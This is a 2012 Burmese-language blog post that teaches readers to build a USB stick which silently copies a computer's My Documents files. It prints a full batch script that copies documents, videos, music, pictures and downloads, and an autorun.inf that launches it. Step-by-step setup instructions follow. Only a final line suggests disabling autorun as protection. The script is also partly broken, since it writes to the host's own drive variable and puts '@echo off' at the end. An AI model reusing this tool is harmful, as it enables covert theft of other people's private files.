Thursday, 19 April 2012

4:43 AM
usb memory stick ကို ကြန္ပ်ဴတာထဲထိုးလိုက္ေရာေအာ္တို ဖိုင္ေတြအခိုးခံလိုက္ရတယ္

USB ေတြက ကြန္ပ်ဴတာထဲက ဖိုင္ေတြကိုခိုးတယ္ဆိုတာထက္... 

USB memory stick ေအာ္တိုဖိုင္ေတြခိုးတာလို႕

ေျပာရင္ပိုမွန္ပါမယ္usb stick ကိုက်ေနာ္ကကြန္ပ်ဴတာ ထဲကိုထိုးလိုက္တယ္ဗ်ာ.. 

အလိုေလ်ာက္ပဲ.. က်ေနာ္ ကြန္ပ်ဴတာက My 

document ထဲမွာရွိတဲ့ဖိုင္ေတြအခိုးခံရတယ္... သတိျပဳရမွာကို ေျပာျပခ်င္တာပါ.. 

 ကဲစမယ္...usb memory stick ကို ကြန္ပ်ဴတာ

ထဲလိုက္ရင္ autoran ကို disable မလုပ္ထားရင္... autorun.inf ဆိုတဲ့စာေလးေပၚလာတာကို 

စာဖက္သူတို႕ 


Memory stick 
နဲ႕မိမိကြန္ပ်ဴတာခ်ိတ္တိုင္း...သတိျပဳမိမယ္ထင္ပါတယ္....

အဲေတာ အရင္ဆံုး ... start>all program>accessories>notepad ကိုဖြင့္ပါ.


အဲေနာက္ batch ဖိုင္ေလးတစ္ခုျပဳလုပ္ပါမည္ ေအာက္ေဖာ္ျပပါစာေလးမ်ားကိုေကာ္ပီကူးယူၾကပါခင္ဗ်ာ...
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"

if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR
:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"

if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"

if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"

copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"

copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"

copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit
:ERROR
exit
@echo off
အဲေနာက္ copy.bat ဆိုတဲ့နာမည္နဲ႕ save လုပ္မည္ဗ်ာ...
အဲေနာက္ ေနာက္ထပ္တခါ start>all program>accessories>notepad ကိုဖြင့္ပါ.
ျပီးေနာက္ဒီcode ေလးကိုရိုက္ထည့္ပါ။
[autorun]
Open=copy.bat
Action=File Copier
အဲေနာက္ ၎ေရးထားဲ့ဖိုင္ကို autorun.inf ဆိုတဲ့နာမည္နဲ႕ save လုပ္ပါမယ္..
ျပီးေတာ့ copy.bat ဖိုင္နွင့္ autorun.inf ဖိုင္ႏွစ္ခုကို memory stick ထဲမွာသိမ္းထားပါ..
ထိုဟက္ကင္းနည္းပညာမွကာကြယ္ရန္...အတြက္
Autorun ကို disable လုပ္ေပးပါ....

ေယာင္အဲလင္း
(ဟက္ကင္းနည္းပညာ)